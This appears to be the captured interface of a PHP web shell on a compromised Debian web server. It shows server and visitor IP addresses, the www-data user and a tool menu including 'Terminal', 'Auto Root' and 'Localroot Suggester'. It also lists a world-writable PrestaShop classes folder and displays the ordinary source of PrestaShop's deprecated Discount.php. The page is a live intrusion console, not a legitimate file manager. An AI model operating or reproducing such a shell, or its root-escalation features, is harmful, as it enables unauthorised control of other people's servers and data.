Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
iscreen.apps-dev.fr /
classes /
Delete
Unzip
Name
Size
Permission
Date
Action
cache
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
controller
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
db
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
exception
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
helper
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
log
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
module
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
order
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
pdf
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
range
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
shop
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
stock
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
tax
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
tree
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
webservice
[ DIR ]
drwxrwxrwx
2020-12-09 15:21
.htaccess
510
B
-rwxrwxrwx
2023-01-18 07:38
Address.php
16.32
KB
-rwxrwxrwx
2019-04-30 18:42
AddressFormat.php
22.17
KB
-rwxrwxrwx
2019-04-30 18:42
AdminTab.php
115.85
KB
-rwxrwxrwx
2019-04-30 18:42
Alias.php
4.41
KB
-rwxrwxrwx
2019-04-30 18:42
Attachment.php
6.57
KB
-rwxrwxrwx
2019-04-30 18:42
Attribute.php
12.62
KB
-rwxrwxrwx
2019-04-30 18:42
AttributeGroup.php
11.49
KB
-rwxrwxrwx
2019-04-30 18:42
Blowfish.php
21.79
KB
-rwxrwxrwx
2019-04-30 18:42
CMS.php
8.98
KB
-rwxrwxrwx
2019-04-30 18:42
CMSCategory.php
23.42
KB
-rwxrwxrwx
2019-04-30 18:42
CMSRole.php
1.61
KB
-rwxrwxrwx
2019-04-30 18:42
CSV.php
2.89
KB
-rwxrwxrwx
2019-04-30 18:42
Carrier.php
55.24
KB
-rwxrwxrwx
2019-04-30 18:42
Cart.php
167.24
KB
-rwxrwxrwx
2019-04-30 18:42
CartRule.php
70
KB
-rwxrwxrwx
2019-04-30 18:42
Category.php
68.83
KB
-rwxrwxrwx
2019-04-30 18:42
Chart.php
5.36
KB
-rwxrwxrwx
2019-04-30 18:42
Combination.php
11.54
KB
-rwxrwxrwx
2019-04-30 18:42
CompareProduct.php
5.06
KB
-rwxrwxrwx
2019-04-30 18:42
Configuration.php
22.73
KB
-rwxrwxrwx
2019-04-30 18:42
ConfigurationKPI.php
5.49
KB
-rwxrwxrwx
2019-04-30 18:42
ConfigurationTest.php
10.66
KB
-rwxrwxrwx
2019-04-30 18:42
Connection.php
9.69
KB
-rwxrwxrwx
2019-04-30 18:42
ConnectionsSource.php
5.02
KB
-rwxrwxrwx
2019-04-30 18:42
Contact.php
3.26
KB
-rwxrwxrwx
2019-04-30 18:42
Context.php
7.29
KB
-rwxrwxrwx
2019-04-30 18:42
ControllerFactory.php
2.16
KB
-rwxrwxrwx
2019-04-30 18:42
Cookie.php
13.04
KB
-rwxrwxrwx
2019-04-30 18:42
Country.php
14.07
KB
-rwxrwxrwx
2019-04-30 18:42
County.php
3.65
KB
-rwxrwxrwx
2019-04-30 18:42
Currency.php
15.33
KB
-rwxrwxrwx
2019-04-30 18:42
Customer.php
32.46
KB
-rwxrwxrwx
2019-04-30 18:42
CustomerMessage.php
4.33
KB
-rwxrwxrwx
2019-04-30 18:42
CustomerThread.php
8.04
KB
-rwxrwxrwx
2019-04-30 18:42
Customization.php
9.72
KB
-rwxrwxrwx
2019-04-30 18:42
CustomizationField.php
2.33
KB
-rwxrwxrwx
2019-04-30 18:42
DateRange.php
2.23
KB
-rwxrwxrwx
2019-04-30 18:42
Delivery.php
3.12
KB
-rwxrwxrwx
2019-04-30 18:42
Discount.php
8.97
KB
-rwxrwxrwx
2019-04-30 18:42
Dispatcher.php
36.2
KB
-rwxrwxrwx
2019-04-30 18:42
Employee.php
16.38
KB
-rwxrwxrwx
2019-04-30 18:42
Feature.php
10.6
KB
-rwxrwxrwx
2019-04-30 18:42
FeatureValue.php
6.66
KB
-rwxrwxrwx
2019-04-30 18:42
FileUploader.php
11.06
KB
-rwxrwxrwx
2019-04-30 18:42
Gender.php
2.25
KB
-rwxrwxrwx
2019-04-30 18:42
Group.php
12.98
KB
-rwxrwxrwx
2019-04-30 18:42
GroupReduction.php
9.33
KB
-rwxrwxrwx
2019-04-30 18:42
Guest.php
7.27
KB
-rwxrwxrwx
2019-04-30 18:42
Hook.php
30.84
KB
-rwxrwxrwx
2019-04-30 18:42
Image.php
27.35
KB
-rwxrwxrwx
2019-04-30 18:42
ImageManager.php
21.9
KB
-rwxrwxrwx
2019-04-30 18:42
ImageType.php
6.14
KB
-rwxrwxrwx
2019-04-30 18:42
Language.php
39.76
KB
-rwxrwxrwx
2019-04-30 18:42
Link.php
29.46
KB
-rwxrwxrwx
2019-04-30 18:42
LocalizationPack.php
19.08
KB
-rwxrwxrwx
2019-04-30 18:42
Mail.php
24.81
KB
-rwxrwxrwx
2019-04-30 18:42
Manufacturer.php
17.13
KB
-rwxrwxrwx
2019-04-30 18:42
Media.php
39.73
KB
-rwxrwxrwx
2019-04-30 18:42
Message.php
5.65
KB
-rwxrwxrwx
2019-04-30 18:42
Meta.php
17.5
KB
-rwxrwxrwx
2019-04-30 18:42
Notification.php
6.08
KB
-rwxrwxrwx
2019-04-30 18:42
ObjectModel.php
69.64
KB
-rwxrwxrwx
2019-04-30 18:42
Pack.php
17.82
KB
-rwxrwxrwx
2019-04-30 18:42
Page.php
4.2
KB
-rwxrwxrwx
2019-04-30 18:42
PaymentCC.php
2.49
KB
-rwxrwxrwx
2019-04-30 18:42
PaymentModule.php
53.64
KB
-rwxrwxrwx
2019-04-30 18:42
PrestaShopAutoload.php
8.31
KB
-rwxrwxrwx
2019-04-30 18:42
PrestaShopBackup.php
10.53
KB
-rwxrwxrwx
2019-04-30 18:42
PrestaShopCollection.php
20.43
KB
-rwxrwxrwx
2019-04-30 18:42
PrestaShopLogger.php
6.07
KB
-rwxrwxrwx
2019-04-30 18:42
Product.php
232.97
KB
-rwxrwxrwx
2019-04-30 18:42
ProductDownload.php
9.86
KB
-rwxrwxrwx
2019-04-30 18:42
ProductSale.php
11.37
KB
-rwxrwxrwx
2019-04-30 18:42
ProductSupplier.php
7.63
KB
-rwxrwxrwx
2019-04-30 18:42
Profile.php
5.19
KB
-rwxrwxrwx
2019-04-30 18:42
QuickAccess.php
2.58
KB
-rwxrwxrwx
2019-04-30 18:42
Referrer.php
16.19
KB
-rwxrwxrwx
2019-04-30 18:42
RequestSql.php
19.64
KB
-rwxrwxrwx
2019-04-30 18:42
Rijndael.php
4.88
KB
-rwxrwxrwx
2019-04-30 18:42
Risk.php
2.35
KB
-rwxrwxrwx
2019-04-30 18:42
Scene.php
9.85
KB
-rwxrwxrwx
2019-04-30 18:42
Search.php
38.85
KB
-rwxrwxrwx
2019-04-30 18:42
SearchEngine.php
2.57
KB
-rwxrwxrwx
2019-04-30 18:42
SmartyCacheResourceMysql.php
4.76
KB
-rwxrwxrwx
2019-04-30 18:42
SmartyCustom.php
12.28
KB
-rwxrwxrwx
2019-04-30 18:42
SpecificPrice.php
22.79
KB
-rwxrwxrwx
2019-04-30 18:42
SpecificPriceRule.php
13.64
KB
-rwxrwxrwx
2019-04-30 18:42
State.php
6.65
KB
-rwxrwxrwx
2019-04-30 18:42
Store.php
4.82
KB
-rwxrwxrwx
2019-04-30 18:42
Supplier.php
15.21
KB
-rwxrwxrwx
2019-04-30 18:42
Tab.php
19.1
KB
-rwxrwxrwx
2019-04-30 18:42
Tag.php
10.19
KB
-rwxrwxrwx
2019-04-30 18:42
Theme.php
12.58
KB
-rwxrwxrwx
2019-04-30 18:42
Tools.php
130.71
KB
-rwxrwxrwx
2019-04-30 18:42
Translate.php
11.48
KB
-rwxrwxrwx
2019-04-30 18:42
TranslatedConfiguration.php
3.99
KB
-rwxrwxrwx
2019-04-30 18:42
Upgrader.php
11.02
KB
-rwxrwxrwx
2019-04-30 18:42
Uploader.php
8.47
KB
-rwxrwxrwx
2019-04-30 18:42
Validate.php
31.72
KB
-rwxrwxrwx
2019-04-30 18:42
Zone.php
3.17
KB
-rwxrwxrwx
2019-04-30 18:42
index.php
29.14
KB
-rwxrwxrwx
2023-01-18 07:38
Save
Rename
<?php /* * 2007-2017 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2017 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ /** * @deprecated 1.5.0.1 */ class DiscountCore extends CartRule { const PERCENT = 1; const AMOUNT = 2; const FREE_SHIPPING = 3; public function __get($key) { Tools::displayAsDeprecated(); if ($key == 'id_group') { return 0; } if ($key == 'id_discount_type') { if ($this->free_shipping) { return Discount::FREE_SHIPPING; } if ($this->reduction_percent > 0) { return Discount::PERCENT; } if ($this->reduction_amount > 0) { return Discount::AMOUNT; } } if ($key == 'name') { return $this->code; } if ($key == 'value') { if ($this->reduction_percent > 0) { return $this->reduction_percent; } if ($this->reduction_amount > 0) { return $this->reduction_amount; } } if ($key == 'cumulable') { return $this->cart_rule_restriction; } if ($key == 'cumulable_reduction') { return false; } if ($key == 'minimal') { return $this->minimum_amount; } if ($key == 'include_tax') { return $this->reduction_tax; } if ($key == 'behavior_not_exhausted') { return $this->partial_use; } if ($key == 'cart_display') { return true; } return $this->{$key}; } public function __set($key, $value) { Tools::displayAsDeprecated(); if ($key == 'id_discount_type') { if ($value == Discount::FREE_SHIPPING) { $this->free_shipping = true; $this->reduction_percent = false; $this->reduction_amount = false; } if ($value == Discount::PERCENT) { $this->free_shipping = false; $this->reduction_percent = true; $this->reduction_amount = false; } if ($value == Discount::AMOUNT) { $this->free_shipping = false; $this->reduction_percent = false; $this->reduction_amount = true; } } if ($key == 'code') { $this->name[Configuration::get('PS_LANG_DEFAULT')] = $value; } if ($key == 'value') { if ($this->reduction_percent) { $this->reduction_percent = $value; } if ($this->reduction_amount) { $this->reduction_amount = $value; } } if ($key == 'cumulable') { $this->cart_rule_restriction = 1; } if ($key == 'minimal') { $this->minimum_amount = $value; } if ($key == 'include_tax') { $this->reduction_tax = $value; } if ($key == 'behavior_not_exhausted') { $this->partial_use = $value; } $this->{$key} = $value; } public function __call($method, $args) { Tools::displayAsDeprecated(); $obj = $this->parent; if (in_array($method, array('add', 'update', 'getIdByName', 'getCustomerDiscounts', 'getValue', 'discountExists', 'createOrderDiscount', 'getVouchersToCartDisplay', 'display'))) { $obj = $this; } return call_user_func_array(array($obj, $method), $args); } /** * @deprecated 1.5.0.1 */ public function add($autodate = true, $nullValues = false, $categories = null) { $r = parent::add($autodate, $nullValues); // Todo : manage categories return $r; } /** * @deprecated 1.5.0.1 */ public function update($autodate = true, $nullValues = false, $categories = null) { $r = parent::update($autodate, $nullValues); // Todo : manage categories return $r; } /** * @deprecated 1.5.0.1 */ public static function getIdByName($code) { return parent::getIdByCode($code); } /** * @deprecated 1.5.0.1 */ public static function getCustomerDiscounts($id_lang, $id_customer, $active = false, $includeGenericOnes = true, $hasStock = false, Cart $cart = null) { return parent::getCustomerCartRules($id_lang, $id_customer, $active, $includeGenericOnes, $hasStock, $cart); } /** * @deprecated 1.5.0.1 */ public static function getVouchersToCartDisplay($id_lang, $id_customer) { return CartRule::getCustomerCartRules($id_lang, $id_customer); } /** * @deprecated 1.5.0.1 */ public function getValue($nb_discounts = 0, $order_total_products = 0, $shipping_fees = 0, $id_cart = false, $useTax = true, Currency $currency = null, Shop $shop = null) { $context = Context::getContext(); if ((int)$id_cart) { $context->cart = new Cart($id_cart); } if (Validate::isLoadedObject($currency)) { $context->currency = $currency; } if (Validate::isLoadedObject($shop)) { $context->shop = $shop; } return parent::getContextualValue($useTax, $context); } /** * @deprecated 1.5.0.1 */ public static function discountExists($discountName, $id_discount = 0) { return parent::cartRuleExists($discountName); } /** * @deprecated 1.5.0.1 * @param Order $order * @return Discount */ public static function createOrderDiscount($order, $productList, $qtyList, $name, $shipping_cost = false, $id_category = 0, $subcategory = 0) { $products = $order->getProducts(false, $productList, $qtyList); // Totals are stored in the order currency (or at least should be) $total = $order->getTotalProductsWithTaxes($products); $discounts = $order->getDiscounts(true); $total_tmp = $total; foreach ($discounts as $discount) { if ($discount['id_discount_type'] == Discount::PERCENT) { $total -= $total_tmp * ($discount['value'] / 100); } elseif ($discount['id_discount_type'] == Discount::AMOUNT) { $total -= ($discount['value'] * ($total_tmp / $order->total_products_wt)); } } if ($shipping_cost) { $total += $order->total_shipping; } // create discount $voucher = new Discount(); $voucher->id_discount_type = Discount::AMOUNT; foreach (Language::getIDs((bool)$order) as $id_lang) { $voucher->description[$id_lang] = strval($name).(int)($order->id); } $voucher->value = (float)($total); $voucher->name = 'V0C'.(int)($order->id_customer).'O'.(int)($order->id); $voucher->id_customer = (int)($order->id_customer); $voucher->id_currency = (int)($order->id_currency); $voucher->quantity = 1; $voucher->quantity_per_user = 1; $voucher->cumulable = 1; $voucher->cumulable_reduction = 1; $voucher->minimal = (float)($voucher->value); $voucher->active = 1; $voucher->cart_display = 1; $now = time(); $voucher->date_from = date('Y-m-d H:i:s', $now); $voucher->date_to = date('Y-m-d H:i:s', $now + (3600 * 24 * 365.25)); /* 1 year */ if (!$voucher->validateFieldsLang(false) || !$voucher->add()) { return false; } // set correct name $voucher->name = 'V'.(int)($voucher->id).'C'.(int)($order->id_customer).'O'.$order->id; if (!$voucher->update()) { return false; } return $voucher; } /** * @deprecated 1.5.0.1 */ public static function display($value, $type, $currency = null) { if ((float)$value && (int)$type) { if ($type == 1) { return $value.chr(37); } // ASCII #37 --> % (percent) elseif ($type == 2) { return Tools::displayPrice($value, $currency); } } return ''; // return a string because it's a display method } }